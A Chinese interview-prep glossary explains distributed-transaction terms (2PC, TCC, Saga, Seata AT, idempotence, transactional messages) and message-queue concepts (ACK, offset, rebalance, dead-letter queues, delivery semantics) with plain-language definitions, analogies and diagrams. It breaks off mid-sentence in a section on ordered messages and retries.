名词速查手册 — 全称 + 白话 + 类比(读任何一篇前先看这个)

名词速查手册 — 全称 + 白话 + 类比(读任何一篇前先看这个)

这份文档是干什么的 面试题库里 01~15 号文档大量使用缩写(2PC、TCC、TTL、MVCC、RAG、 SSRF、XXE、SBOM、EPSS、IMDS、BOLA、MEV、DPIA、BPMN、QoS、LWT……)。 这些词在正文里往往直接就用,不解释——因为写的时候默认你已认识它。 但面试复习时卡在一个缩写上,是最浪费时间的事。

本手册把全库出现的 480+ 个术语全部收录,每个都给: 全称 → 一句话白话 → 生活类比 → 去哪篇深入。

怎么用: ① 第一次读某篇文档前,先翻到本篇的「名词速查」小节扫一眼(每篇开头都有) ② 读到不懂的缩写,回来按 Ctrl+F 搜 ③ 面试前一天,把「核心概念详解」部分当速记卡过一遍


目录


第一章:分布式事务与一致性

这一章是 10 号文档(《数据一致性与缓存同步》)的地基。 如果 2PC / TCC / Saga / XA 这几个词你还没概念,先读完这一章再去看那篇,否则会全程懵。

1.1 本章速查表

缩写 / 术语 英文全称 一句话白话 在哪篇
ACID Atomicity, Consistency, Isolation, Durability 单个数据库事务的四个保证:要么全成、要么全败 02/03/10
CAP Consistency, Availability, Partition tolerance 分布式系统的“三选二”:网络一定不可靠,所以只能在“一致”和“可用”里挑一个 10
BASE Basically Available, Soft state, Eventual consistency CAP 的务实版:不强求立刻一致,允许中间状态,最终对上就行 10
2PC Two-Phase Commit 两阶段提交:先举手投票,再统一行动 02/10
3PC Three-Phase Commit 三阶段提交:2PC 的改良版,多了个“预提交”,想解决阻塞问题 02/10
XA eXtended Architecture X/Open 组织定的分布式事务规范,2PC 是它的实现方式 02/10
TCC Try-Confirm-Cancel 业务层面的两阶段:先 Try 冻结资源,Confirm 真正扣,Cancel 释放 02/10
Saga Saga(长事务模式) 把长流程拆成多步,每步配一个“反向操作”,失败了就一步步往回退 10
AT Automatic Transaction Seata 的无侵入模式:自动帮你生成反向 SQL,你只写业务代码 02/10
刚性事务 Rigid Transaction 强一致,事务期间资源一直被锁(如 2PC) 10
柔性事务 Flexible Transaction 允许短暂不一致,最终对上就行(TCC/Saga/消息队列都算) 10
幂等 Idempotence 同一个操作执行 1 次和执行 100 次,结果完全一样 02/04/09/10
对账 Reconciliation 定期把两边数据拉出来比对,找出不一致并修复——最后一道防线 02/03/07/08/10
冲正 Reversal 账记错了,做一笔反向交易把账冲平 03/10
补偿 Compensation 业务层面的“撤销”:不是数据库回滚,而是执行一个反向操作 10
空回滚 Empty Rollback Try 还没执行(或没成功),Cancel 却先来了 02/10
悬挂 Hanging Cancel 比 Try 先到,Try 后到时资源已被释放,再也收不回来 02/10
事务消息 Transactional Message RocketMQ 的方案:消息先“半”着不可见,本地事务成功了才投递 02/04/10
半消息 Half Message / Prepared Message 已发到 MQ 但消费者看不见的“待定消息” 02/04/10
回查 Transaction Check / 回查 MQ 迟迟没收到确认,反过来问生产者“这条消息到底要不要发” 02/04/10
本地消息表 Local Message Table 业务数据和待发消息写进同一个本地事务,靠定时任务补发 10
可靠消息最终一致 Reliable Eventual Consistency 靠“消息一定发出去 + 消费端幂等”保证最终一致 02/10
最大努力通知 Best-Effort Notification 尽力通知,失败了按节奏重试 N 次就放弃,靠对方主动查 10
Seata Simple Extensible Autonomous Transaction Architecture 阿里开源的一站式分布式事务框架,支持 AT/TCC/Saga/XA 02/03/10
Mini-DTX Mini Distributed Transaction 本手册 10 号文档里自研的零中间件轻量事务框架 10
UNKNOWN Unknown State 三态设计里的“不知道成功了没”——最危险的状态,不能盲目重试 10
准实时一致 Near-Real-Time Consistency 秒级~分钟级内达到一致,不是立刻,但人几乎感觉不到 10

1.2 核心概念详解(这几个必须搞懂,面试高频)

ACID —— 单个数据库事务的四条底线

一句话:数据库保证的“要么全做,要么全不做”。

字母 全称 白话 生活类比
A Atomicity 原子性 一批操作是一个整体,不能只做一半 转账:扣钱和加钱必须同时成功,不能只扣不加
C Consistency 一致性 事务前后,数据都得符合规则 转账前后,两个账户总额必须相等
I Isolation 隔离性 多个事务同时跑,互相看不见对方的中间状态 你在 ATM 转账时,别人查到的余额不能是“扣了但还没加”的中间值
D Durability 持久性 事务提交后,哪怕断电数据也不丢 银行说“交易成功”,就是真的成功了,不会因为机房停电就反悔

面试要点:ACID 是单个数据库的能力。一旦跨库、跨服务,它就管不着了——这才需要分布式事务。


CAP —— 分布式的“三选二”

一句话:网络一定会出问题,所以出问题时你只能保“数据一致”或“服务不挂”中的一个。

字母 全称 白话
C Consistency 一致性 所有节点同一时刻看到的数据是一样的
A Availability 可用性 每次请求都能得到响应(哪怕数据可能是旧的)
P Partition tolerance 分区容错 网络断开成两半时,系统还能继续跑

关键认知(面试必答):

P 是必选项,不是可选项。网络分区是客观存在的(网线会断、机房会抖),你没法选择“不要 P”。 所以 CAP 的真相是:当网络出问题时,你要 C 还是要 A?

  • 选 CP:网络断了就拒绝服务,保证数据不错 → 银行核心、支付
  • 选 AP:网络断了继续服务,但两边数据暂时不一致 → 大部分互联网业务

生活类比:你和同事同时编辑一份在线文档,网络断了。

  • 选 CP:文档直接锁定,谁都改不了(保证不会改冲突)
  • 选 AP:你们各自改各自的,联网后再合并(可能会冲突,但一直能用)

BASE —— 对 CAP 的务实妥协

一句话:不强求“立刻一致”,允许中间短暂不一致,只要最后能对上就行。

字母 全称 白话
BA Basically Available 基本可用 出故障时允许降级(响应慢点、功能少点),但不能整个挂掉
S Soft state 软状态 允许系统存在“中间状态”(如“支付中”),不要求时刻一致
E Eventual consistency 最终一致 中间状态迟早会收敛,最终所有节点数据一致

和 ACID 的关系:

ACID = 刚性,强一致,事务期间锁资源(银行转账)
BASE = 柔性,最终一致,不长时间锁资源(电商下单后"处理中")

生活类比:网购下单后显示“订单处理中”——这就是软状态。 可能几秒后变成“已发货”(成功),也可能变成“下单失败”退款(回滚)。 中间这段不一致是可以接受的,只要最终有个确定结果。


2PC(Two-Phase Commit,两阶段提交)—— 分布式事务最经典的方案

一句话:先问所有参与者“你能提交吗”,全票通过才真正提交。

两个字面意思:

  • Two-Phase = 两个阶段
  • Commit = 提交

两个阶段在干什么:

                    【协调者 Coordinator】
                    (一个总指挥的角色)
                          │
        ┌─────────────────┼─────────────────┐
        ▼                 ▼                 ▼
   【参与者 A】       【参与者 B】       【参与者 C】
    (订单库)         (库存库)         (账户库)

═══════════ 阶段一:投票(Prepare / 举手)═══════════
协调者 → 所有人: "你们都准备好提交了吗?"
参与者各自: 执行 SQL,写 redo/undo 日志,但【不提交】,锁住资源
参与者 → 协调者: A: 好了 ✓    B: 好了 ✓    C: 好了 ✓

═══════════ 阶段二:执行(Commit / 行动)═══════════
协调者看投票结果:
  ├─ 全票通过  → 通知所有人:"提交!" → 各自 commit,释放锁
  └─ 有一票反对 → 通知所有人:"回滚!" → 各自 rollback,释放锁

生活类比:结婚登记

  1. 阶段一(问意愿):牧师问“你愿意吗?”——新郎新娘各自在心里确认,但还没盖章
  2. 阶段二(盖章):双方都愿意 → 盖章生效;任何一方不愿意 → 整场取消

关键特征:阶段一和阶段二之间,资源一直是被锁住的(库存锁着、账户锁着)。 这就是 2PC 最大的问题。

2PC 的三个致命问题(面试必答):

问题 说明 后果
① 阻塞 / 资源长时间占用 锁从阶段一 hold 到阶段二结束 高并发下连接池被打满,吞吐暴跌
② 协调者单点故障 协调者挂了,参与者不知道该提交还是回滚 只能干等着,锁一直不放,整个流程卡死
③ 阶段二丢消息导致数据不一致 协调者让 A 提交了,但通知 B 时网络断了 A 提交了、B 没提交 → 数据不一致

为什么金融核心还在用:因为它是最简单、最“强一致”的方案,传统银行核心系统并发不高,能接受性能损耗。

和 3PC 的关系:3PC 想解决“协调者挂了导致阻塞”的问题,加了超时机制和预提交阶段,但因为实现复杂、且依然解决不了阶段二的数据不一致,所以工业界几乎不用 3PC。面试时答出这点很加分。


XA —— 2PC 的“规范”版本

一句话:XA 是 X/Open 组织制定的接口规范,2PC 是它背后的协议。

常见的混淆:

XA  = 规范(定义了 TM、RM 这些角色和接口)      ← 是"标准文档"
2PC = 协议(两阶段提交的流程)                    ← 是"实现方式"
JTA = Java 对 XA 规范的实现(Java Transaction API)← 是"Java 接口"
Atomikos / Narayana = JTA 的具体实现库            ← 是"能跑的代码"

生活类比:

  • XA 像是“USB 接口标准”(规定了形状、引脚、电压)
  • 2PC 像是“USB 传输协议”(规定了数据怎么传)
  • JTA/Atomikos 像是“某个品牌的 U 盘”(具体实现)

面试怎么说:

“XA 是一套规范,它用 2PC 协议实现。Java 里对应 JTA,常用实现是 Atomikos。 它的问题是资源锁持有时间长、性能差,所以我们只在传统金融核心用,互联网业务一般不上。”


TCC(Try-Confirm-Cancel)—— 业务层的两阶段

一句话:不用数据库锁,改成业务上预留资源,分“冻结 / 确认 / 释放”三步。

三个词的含义:

阶段 干什么 白话 例子(扣 100 元)
Try 预留 / 冻结资源 “先占住,但还没真给” 账户余额 1000 → 可用 900,冻结 100
Confirm 确认执行 “真的扣掉”(幂等,可重试) 冻结的 100 真正扣掉 → 余额 900,冻结 0
Cancel 取消 / 释放 “把占住的资源还回去”(幂等) 冻结的 100 解冻 → 可用 1000,冻结 0

和 2PC 的本质区别(面试必答):

2PC TCC
锁在哪层 数据库层:数据库行锁 业务层:业务字段(冻结金额字段)
锁了什么 数据库资源(连接、行锁) 业务资源(自定义“冻结”字段)
锁多久 从阶段一到阶段二,跨网络 Try 一结束就释放,Confirm 是独立短事务
性能 差(长事务占连接) 好(粒度可控,锁时间短)
侵入性 低(框架做,业务无感) 高(每个服务要写 3 个接口)

关键理解:

2PC 的问题是“锁在数据库层,你控制不了粒度”。 TCC 把锁搬到业务层,用“冻结金额”这样的业务字段来表达预留——粒度由你定,锁的时间也由你定。

生活类比:餐厅订位

  • Try:打电话订位,餐厅把 10 号桌标记为“已预订”(别人订不了,但你还不能用)
  • Confirm:你人到店,落座开吃(预订变成实际使用)
  • Cancel:你不来了,打电话取消,桌子释放给别人

TCC 必须解决的三个问题(面试高频,详见 10 文档 2.3 节):

  1. 空回滚:Try 没执行成功,Cancel 却先来了 → 要能正确返回成功,不能报错
  2. 幂等:网络重试导致 Confirm/Cancel 被调用多次 → 结果必须一样
  3. 防悬挂:Cancel 比 Try 先到 → 之后的 Try 必须被拒绝,否则资源永远收不回

Saga —— 长流程的“一步步往回退”

一句话:把长事务拆成一串小步骤,每步配一个反向操作,失败了就倒着执行反向操作。

为什么需要它:

有些流程太长(跨小时、跨天、含人工审核),不可能锁资源锁那么久。 而且有些服务根本没有“回滚接口”(比如第三方银行、外部物流)——TCC 和 2PC 都做不了。

两种实现:

编排式(Orchestration) 协同式(Choreography)
怎么工作 有个“总指挥”按顺序调各服务,失败时反向调补偿 没有总指挥,各服务监听事件自己决定下一步
优点 流程清晰,好排查 服务解耦,无单点
缺点 总指挥是单点,逻辑集中 流程散落,难追踪

生活类比:订机票 + 酒店 + 租车的套餐

  1. 订机票 ✓
  2. 订酒店 ✓
  3. 租车 ✗(没车了)
  4. 补偿:退酒店 → 退机票(倒着来)

和 TCC 的区别:

TCC  : 有"预留"概念,Try 阶段资源被冻结,别人用不了     → 隔离性好
Saga : 没有预留,每步都是【真实提交】,失败再反向撤销   → 隔离性差(会出现脏读)

面试要点:Saga 的隔离性缺失是它的硬伤——中间状态会被别人读到。 解法是“语义锁”(如给订单加“处理中”标记,其他操作看到就拒绝)。


AT(Automatic Transaction)—— Seata 的无侵入模式

一句话:你只写业务 SQL,Seata 自动帮你生成反向 SQL 用于回滚。

它怎么做到“无侵入”(面试加分点):

阶段一:
  Seata 拦截你的业务 SQL
  ├─ 执行前:先查一次"修改前的数据" → 存成 undo log(前镜像)
  ├─ 执行你的 SQL
  └─ 执行后:再查一次"修改后的数据" → 存成 undo log(后镜像)
  然后在同一个本地事务里提交业务数据 + undo log

阶段二:
  ├─ 全局成功 → 删掉 undo log 就行(几乎零成本)
  └─ 全局失败 → 拿 undo log 里的"前镜像"生成反向 UPDATE,把数据改回去

和 TCC 的取舍:

Seata AT TCC
侵入性 低(只加个注解) 高(写 3 个接口)
锁 全局锁(TC 侧),到阶段二才释放 业务字段,Try 结束就释放
性能 中 高
适用场景 想快速落地、业务逻辑简单 资金、库存等要求高性能高可控

面试怎么说:

“AT 是 Seata 的主推模式,对业务几乎零侵入——它在阶段一自动生成前后镜像存 undo log, 回滚时用镜像生成反向 SQL。代价是需要全局锁,性能不如 TCC。我们项目如果是资金类会选 TCC。”


幂等(Idempotence)—— 分布式系统的第一原则

一句话:同一个操作执行一次和执行一百次,结果完全一样。

为什么必须有:

分布式系统里重复是常态,不是异常:

  • 网络超时 → 调用方重试
  • MQ 重投 → 消息重复消费
  • 用户手抖 → 连点两次提交

如果不做幂等,一次超时重试就会重复扣款、重复发券、重复下单。

常见幂等方案(详见 10 文档 3.4 节):

方案 怎么做 适用
唯一键 / 数据库去重表 用业务唯一键建唯一索引,重复插入直接失败 插入类操作
Redis SETNX 用唯一 key 占位,占到位才执行 高并发、需要过期时间
状态机 只允许“待支付→已支付”这种定向流转 有状态的业务(订单)
乐观锁 / 版本号 UPDATE ... WHERE version = ? 更新类操作
Token 机制 先领 token,提交时校验并删除 前端防重复提交

幂等键的设计三原则:

  1. 业务含义明确:userId + activityId + date(谁、参加什么活动、哪天)
  2. 粒度刚好:太粗会误拦(同一个人一天只能下一单?),太细拦不住
  3. TTL 要大于最大重试周期:这是最容易踩的坑——Redis 幂等键 TTL 设 5 分钟,但消息重试可能持续 2 小时,5 分钟后键过期,重复消息就穿透了

生活类比:电梯的“关门”按钮——按 1 次是按 100 次,门都是关一次。


空回滚 与 悬挂 —— TCC 的两个孪生陷阱

这两个概念名字很怪,但理解了原理就不难。

空回滚(Empty Rollback)

场景:协调者让分支执行 Try,但网络超时了,Try 其实没成功(或根本没到)。 协调者判定失败,发起 Cancel。 此时这个分支从来没 Try 过,却收到了 Cancel。

为什么要特殊处理:

如果 Cancel 里直接写“释放冻结的 100 元”,而账户根本没冻结过,就会凭空多出 100 元——这是资损!

正确做法:Cancel 前先查“这条事务的 Try 记录”存不存在。

  • 存在 → 正常释放
  • 不存在 → 记一条“已回滚”的标记,直接返回成功(不能报错,否则协调者会一直重试)

悬挂(Hanging)

场景:Try 请求因为网络拥堵迟到了。 协调者已经超时发起 Cancel 并且成功了,此时迟到的 Try 才姗姗来迟。 如果照常执行 Try,就会冻结一笔永远不会被释放的资源——这笔钱再也回不来了。

正确做法(防悬挂):执行 Try 前先查“这条事务有没有 Cancel 记录”。

  • 有 → 直接拒绝,返回失败
  • 没有 → 正常执行 Try 并记痕

记忆口诀:

空回滚 = Try 没来,Cancel 先到  → Cancel 要能"空转"成功
悬  挂 = Cancel 先到,Try 后到  → Try 要能被"拦住"

生活类比:

  • 空回滚:你没订过位,却打电话取消——餐厅要说“好的,已取消”(而不是“你没订过,报错”)
  • 悬挂:你取消了预订之后,之前寄出的预订信才寄到——餐厅必须拒绝这封信,否则桌子会被一直占着

事务消息 / 半消息 / 回查 —— RocketMQ 的一套组合拳

这三个词是一套机制,必须一起理解。

要解决的问题:

“我要在本地数据库插一条记录,同时发一条 MQ 消息通知下游。” 这两个动作无法在一个事务里完成(数据库和 MQ 是两套系统)。

  • 先插库再发消息 → 消息发送失败,下游不知道
  • 先发消息再插库 → 插库失败,下游收到了不存在的业务

RocketMQ 的解法(四步):

① 生产者发【半消息】给 MQ
   └─ 半消息 = 已到 MQ,但消费者【看不见】的消息(存在 RMQ_SYS_TRANS_HALF_TOPIC)
   └─ 目的:先探一下 MQ 活着没

② MQ 回 "半消息已收到",生产者执行【本地事务】
   └─ 就是你的业务代码(插数据库)

③ 生产者根据本地事务结果告诉 MQ:
   ├─ 成功 → Commit:半消息转正,消费者可见
   └─ 失败 → Rollback:半消息被丢弃

④ 如果 ③ 这一步【迟迟没来】(生产者挂了、网络断了)
   └─ MQ 会【回查】:主动问生产者 "这条消息到底要不要发?"
   └─ 生产者查本地事务状态后回答

三个术语对应:

术语 是什么 白话
半消息 Half Message 已投递但消费者看不见的“待定消息”
事务消息 Transactional Message 整个这套机制(半消息 + 本地事务 + 回查)
回查 Transaction Check MQ 主动反过来问生产者“这条消息的最终状态”

面试高频追问:“回查时查不到记录怎么办?” 这是最能区分水平的题,要分三层答:

  1. 记录不存在 → 本地事务肯定没成功 → 返回 Rollback
  2. 记录存在但状态还是“处理中” → 可能正在执行 → 返回 Unknown,让 MQ 下轮再查(不能贸然回滚!)
  3. 回查次数超过上限(默认 15 次) → 强制回滚 + 告警 + 落对账表,人工介入

生活类比: 你在网上下单,先“锁定库存”(半消息),然后付款(本地事务)。 如果 15 分钟你都没付款也没取消(超时未响应),系统主动给你发短信问“这单还要吗”(回查)。 一直不回 → 自动取消订单(强制回滚)。


1.3 第一章小结:一张图看懂方案选型

                    【你的业务要跨几个服务/库?】
                              │
              ┌───────────────┴───────────────┐
              │                               │
         【同一个库】                     【跨库/跨服务】
              │                               │
        直接用 @Transactional                 │
        (本地事务,ACID 保证)                │
                                              │
                              ┌───────────────┴───────────────┐
                              │                               │
                    【要强一致,可以慢】            【可以最终一致】
                              │                               │
                    2PC / XA / Seata AT                       │
                    (锁资源,性能差)                          │
                                              ┌───────────────┴───────────────┐
                                              │                               │
                                    【资源可预留】                  【长流程/无回滚接口】
                                    (钱、库存)                    (跨天、第三方)
                                              │                               │
                                             TCC                            Saga
                                        (Try/Confirm/Cancel)          (正向+补偿)

                              【跨服务,一致性要求不高】
                                              │
                              可靠消息最终一致 / 本地消息表
                              (最常用,互联网主流)
                                              │
                              【对方可能收不到也不重要】
                                              │
                                      最大努力通知 + 对账

一句话选型口诀:

能不用分布式事务就不用 → 必须用的话,能异步就异步(消息队列) → 异步不行再看资源能不能预留(能就 TCC,不能就 Saga) → 只有传统金融核心才考虑 2PC/XA → 无论选哪个,都要有对账兜底

深入阅读:10 号文档 2.1~2.5 节(本手册第一章对应的完整讲解)


第二章:消息中间件

这一章对应 04 号文档(《中间件》)和 10 号文档第三章。 消息队列的概念本身好懂(“存消息的队列”),但 ACK、offset、Rebalance、死信队列 这几个词光看名字完全猜不出意思。

2.1 本章速查表

缩写 / 术语 英文全称 一句话白话 在哪篇
MQ Message Queue 消息队列,存消息的“中转站”,让两个服务不必同时在线 02/03/04/08/10
Broker Broker(消息服务器) MQ 的服务端本体,负责收、存、发消息 04/10
Producer Producer(生产者) 发消息的一方 04/10
Consumer Consumer(消费者) 收消息的一方 04/10
Topic Topic(主题) 消息的分类,类似“频道” 04/10
Queue / Partition 队列 / 分区 Topic 再细分,用来并行处理,提高吞吐 04/10
offset offset(偏移量) 消费者“读到哪一条了”的位置标记 04/10
ACK ACKnowledgement 消费者处理完后的“确认回执” 04/10
Consumer Group Consumer Group(消费组) 一组干同样活的消费者,共同分担一个 Topic 04/10
Rebalance Rebalance(重平衡) 消费者数量变了,重新分配“谁消费哪个分区” 04/10
死信队列 Dead Letter Queue(DLQ) 反复消费失败的消息,被丢进这个“垃圾桶”单独处理 03/04/10
重试队列 Retry Queue 消费失败的消息先放这里,按节奏重试几次 04/10
消息堆积 Message Backlog 生产速度 > 消费速度,消息越攒越多 04/10
顺序消息 Ordered Message 保证消息按发送顺序被消费 02/04/10
延时消息 Delayed / Scheduled Message 发出去后不立刻投递,到点才投(如 30 分钟未支付关单) 04/10
事务消息 Transactional Message 见第一章 1.2 节(半消息 + 回查) 02/04/10
Exactly Once Exactly Once(精确一次) 消息恰好被处理一次,不丢不重 04/10
At Least Once At Least Once(至少一次) 消息可能重复,但绝不丢 —— MQ 的默认语义 04/10
At Most Once At Most Once(至多一次) 消息可能丢,但绝不重复 04/10
推模式 Push Broker 主动把消息推给消费者(实时,但容易压垮消费者) 04
拉模式 Pull 消费者主动去 Broker 拉(可控,但有延迟) 04
长轮询 Long Polling 拉模式的改良:没消息时连接挂起等待,有消息立刻返回 04
削峰填谷 Peak Shaving 用 MQ 扛住瞬时高峰,下游按自己的节奏慢慢消费 04/10
RocketMQ RocketMQ 阿里开源的消息队列,事务消息是它的强项 02/03/04/10
Kafka Kafka 最初为日志设计的消息队列,吞吐量极高 02/04/07/08/10
RabbitMQ RabbitMQ 老牌消息队列,功能丰富,吞吐不如前两者 04
MQTT Message Queuing Telemetry Transport 物联网用的超轻量消息协议,长连接 + 发布订阅,为弱网和小设备设计 15
发布/订阅 Publish / Subscribe(Pub/Sub) 发的人不知道谁会收到,收的人只订阅感兴趣的频道 —— 双方完全解耦 04/15
Publisher / Subscriber 发布者 / 订阅者 MQTT 里的“作者”和“粉丝”,一个客户端可以同时是两者 15
QoS Quality of Service 消息投递的可靠等级:0 最多一次 / 1 至少一次 / 2 恰好一次 15
保留消息 Retained Message Broker 记住每个主题的最后一条,新订阅者一上线就立刻收到 15
遗嘱消息 Last Will and Testament(LWT) 设备提前留好的“遗言”,它意外掉线时 Broker 自动代发 15
会话 Session Broker 为客户端保留的档案(订阅关系 + 未确认消息),重连后能补发离线消息 15
Clean Session Clean Session true = 断开即忘(离线消息丢失);false = 保留档案(能收离线消息) 15
心跳 Keep Alive 客户端每隔 N 秒发 PINGREQ 报平安,超时未报 Broker 就判定掉线并触发遗嘱 15
通配符 Wildcard 订阅时用:+ 匹配单层,# 匹配多层;发布时不能用 15
ClientId Client Identifier 客户端唯一标识,Broker 靠它认人 —— 重复会导致两个连接“互踢” 15
共享订阅 Shared Subscription 多个订阅者分摊同一主题的消息(负载均衡),MQTT 5.0 / EMQX 扩展能力 15
IoT Internet of Things 物联网,把传感器、车、家电等设备连上网 13/15
CoAP Constrained Application Protocol 另一个物联网协议,跑在 UDP 上,比 MQTT 更轻但功能少 15
OTA Over-The-Air 空中升级:远程给设备推送固件(★ 固件走 HTTP 下载,MQTT 只发 URL) 15
EMQX / Mosquitto — MQTT Broker(服务端):EMQX 支持百万连接,Mosquitto 轻量适合学习 15
Paho Eclipse Paho Eclipse 出的 MQTT 客户端库(Java / Python / JS 都有) 15

2.2 核心概念详解

MQ(Message Queue,消息队列)—— 三个字母拆开就是它的全部

Message(消息) = 要传递的数据 Queue(队列) = 先进先出的存储结构 一句话:一个“暂存消息的箱子”,发送方放进去就走,接收方有空再取。

为什么需要它(三个核心价值):

价值 说明 例子
① 解耦 发送方不需要知道接收方是谁、在不在 下单服务发“订单已创建”,库存、积分、物流各自订阅,互不影响
② 异步 发送方不用等着,发完就返回 用户注册后,发券/发短信/建档案异步做,注册接口立刻返回
③ 削峰 瞬时高峰先堆在 MQ 里,下游慢慢消费 秒杀 10 万请求进来,MQ 兜住,订单服务每秒只处理 2000 条

生活类比: MQ 就像公司前台的收件箱。

  • 快递员(生产者)把包裹放前台就走,不用等你来拿(解耦 + 异步)
  • 你(消费者)有空了再去前台取(削峰)
  • 双十一包裹堆成山,前台先堆着,你一件件拿(堆积)

ACK(ACKnowledgement,确认回执)—— 消费者打给 MQ 的“收到了”

一句话:消费者处理完消息后,给 MQ 发一个“这条我处理好了”的信号。

为什么必须有:

MQ 不知道你的业务代码有没有真的执行成功。 你拿到消息,代码执行到一半崩了——MQ 得知道“这条没成功,得重发”。 ACK 就是消费者告诉 MQ “成功/失败”的机制。

三种情况:

① 消费成功 → 返回 ACK(CONSUME_SUCCESS)
   MQ 把这条消息的 offset 往后推,不再投递

② 消费失败 → 返回 RECONSUME_LATER
   MQ 过一会儿重新投递(进重试队列)

③ 消费者挂了,迟迟不返回
   MQ 等超时,认为失败,重新投递给同组其他消费者

最容易踩的坑:

先执行业务,再返回 ACK —— 顺序反了会丢消息。 如果你先 ACK 说“处理好了”,然后业务代码崩了,MQ 以为成功了,这条消息就永远丢了。

生活类比: 快递签收。你拆开检查无误才签字(业务执行成功才 ACK)。 如果快递员把包裹一放就替你签字走人(先 ACK),包裹有问题你就找不回来了。


offset(偏移量)—— “我读到哪了”的进度条

一句话:每个队列里的消息都有递增的编号,offset 就是消费者“读到几号了”。

它长什么样:

Topic: order-topic, Queue-0

  ┌─────┬─────┬─────┬─────┬─────┬─────┐
  │  0  │  1  │  2  │  3  │  4  │  5  │   ← 消息编号(offset)
  └─────┴─────┴─────┴─────┴─────┴─────┘
                      ▲
                      │
              消费者当前 offset = 3
              (0/1/2 已消费,3 开始往后读)

谁在维护它:

  • Kafka:由消费者自己维护,提交到 __consumer_offsets
  • RocketMQ:由 Broker 维护,消费者 ACK 后 Broker 推进

为什么面试爱问:

因为 offset 什么时候提交,直接决定了消息会不会丢/会不会重复:

  • 自动提交(先提交再消费)→ 消费崩了,但 offset 已推进 → 消息丢失
  • 手动提交(先消费再提交)→ 消费成功但提交前崩了 → 消息重复

工业界一律选 手动提交 + 消费端幂等,因为“重复”可以用幂等兜住,“丢失”兜不住。


Consumer Group + Rebalance —— 这两个必须一起理解

Consumer Group(消费组)

一句话:一批“干同样活”的消费者组成的组,它们共同消费一个 Topic,每条消息只被组内一个成员处理。

为什么要有“组”这个层级:

场景:订单消息要被三个不同系统处理
  ├─ 库存系统要扣库存
  ├─ 积分系统要加积分
  └─ 物流系统要创建运单

如果只有一个"消费者"概念 → 三个系统抢同一条消息,每个系统只拿到 1/3 的消息 ❌

有了消费组:
  ├─ 库存组(2 台机器):完整消费所有订单消息
  ├─ 积分组(1 台机器):完整消费所有订单消息
  └─ 物流组(3 台机器):完整消费所有订单消息
  三个组互不干扰,每组内部再分摊 ✅

关键规则(面试必答):

组间是“广播”(每组都拿到全量),组内是“单播”(一条消息只给组内一个成员)。

Rebalance(重平衡)

一句话:组内成员数量变了(有人上线/下线/崩溃),重新分配“谁消费哪些分区”。

什么时候触发:

  • 有消费者上线(扩容)
  • 有消费者下线(缩容、崩溃、被踢)
  • Topic 的分区数变了

为什么要懂它(面试高频):

Rebalance 期间整个消费组会短暂停止消费(类似 JVM 的 STW)。 如果消费者频繁上下线(比如 GC 停顿导致心跳超时被踢),就会反复 Rebalance,消费几乎停摆。

生活类比: 餐厅有 4 张桌子(分区),3 个服务员(消费者)。

  • 平时:服务员 A 管 1、2 桌,B 管 3 桌,C 管 4 桌
  • 突然 A 请假(下线)→ 经理重新分配(Rebalance):B 管 1、2、3 桌,C 管 4 桌
  • 重新分配期间,没人上菜(消费暂停)

死信队列(Dead Letter Queue,DLQ)—— 失败消息的“隔离病房”

一句话:重试了好几次还是失败的消息,被挪到这个特殊队列,不再打扰正常流程。

为什么要它:

如果一条消息永远消费失败(比如数据本身有问题:订单 ID 是 null), 它会一直重试,堵住后面的消息 → 整条队列卡死(毒丸消息 / Poison Pill)。

典型流转:

正常 Topic → 消费失败 → 重试队列(延迟 10s/30s/1m/2m...)
                          ↓ 重试 16 次仍失败
                       死信队列(DLQ)
                          ↓
                   告警 + 人工介入(查日志、修数据、手动重投)

工程要点(面试能说出来的加分):

  1. DLQ 必须有监控告警 —— 否则消息进去没人知道,等于丢了
  2. 死信要能“手动重投” —— 修完数据后一键放回正常队列
  3. 死信要保留原始内容 + 失败原因 —— 否则排查时抓瞎
  4. 不能无限重试 —— 必须有次数上限,否则就是上面说的“毒丸”

生活类比: 快递送了 3 次都联系不上收件人 → 包裹被放到“问题件专区”(死信队列), 不再占用快递员的时间,等收件人主动来联系(人工介入)。


三种投递语义 —— At Least Once / At Most Once / Exactly Once

这是 MQ 面试的必答题,也是最容易答糊的。

语义 含义 会丢消息吗 会重复吗 怎么实现
At Most Once
至多一次
消息最多被处理一次 会丢 不会 发完就不管,不重试
At Least Once
至少一次
消息至少被处理一次 不会 会重复 失败就重试(所有主流 MQ 的默认)
Exactly Once
精确一次
恰好处理一次 不会 不会 需要 MQ 事务 + 消费端幂等配合

关键认知(面试必答):

没有任何主流 MQ 能单独做到 Exactly Once。 所谓“Exactly Once”= MQ 的 At Least Once(至少一次,不丢) + 消费端幂等(重复也无害)。 最终效果等价于“恰好一次”,但幂等必须由业务代码自己实现。

面试官追问:“那 Kafka 官网不是说支持 Exactly Once 吗?”

答:Kafka 的 Exactly Once 指的是Kafka 内部的“读-处理-写”原子性(用事务保证), 即“从 A Topic 读 → 处理 → 写 B Topic”这个过程是原子的。 但如果你处理时调用了外部系统(写数据库、调接口),Kafka 管不着——那部分还得靠幂等。


消息堆积 —— 以及为什么“加消费者”不一定管用

一句话:生产速度 > 消费速度,消息在队列里越堆越多。

怎么发现:

监控指标:消息堆积量 = 最新 offset - 消费者 offset
告警阈值:> 1 万条 或 堆积时长 > 5 分钟

为什么会堆积:

  1. 消费端变慢:业务逻辑里有慢 SQL、调外部接口超时
  2. 消费端挂了:全部下线,没人消费
  3. 流量突增:大促、秒杀
  4. 反复 Rebalance:消费组一直在重分配,实际没在消费

怎么处理(按优先级):

手段 怎么做 什么时候用
① 先查是不是消费端挂了 看消费者数量、日志 第一步(最常见)
② 加消费者实例 水平扩容 只对“消费者不足”有效
③ 增加队列/分区数 提高并行上限 ⚠️ 见下方警告
④ 优化消费逻辑 批量处理、去掉慢 SQL、异步化 治本
⑤ 紧急降级 临时丢弃非核心消息 快撑不住时

⚠️ 面试陷阱:“堆积了,加消费者就能解决吗?”

不一定。 这是最经典的追问,要点是: 一个队列(分区)同一时刻只能被一个消费者消费。 如果你的 Topic 只有 4 个分区,那你加到 5 个、10 个消费者—— 多出来的消费者是闲着的,完全没用!

所以正确顺序是:先扩分区,再扩消费者。 而且 Kafka 扩分区后无法保证全局顺序了(RocketMQ 可以)。

生活类比: 收银台排队。开 4 个收银台(4 个分区),4 个收银员(消费者)。 你再招 10 个收银员站在旁边也没用——没收银台给他们用。 得先开收银台(扩分区),再招人(扩消费者)。


顺序消息 vs 重试 —— 一个天生的矛盾

一句话:要保证顺序,失败时就不能跳过;不跳过,就会一直卡住。这是个两难。

矛盾在哪:

场景:同一个订单的三条消息,必须按顺序处理
  ① 创建订单 → ② 支付订单 → ③ 发货订单

如果 ② 处理失败:
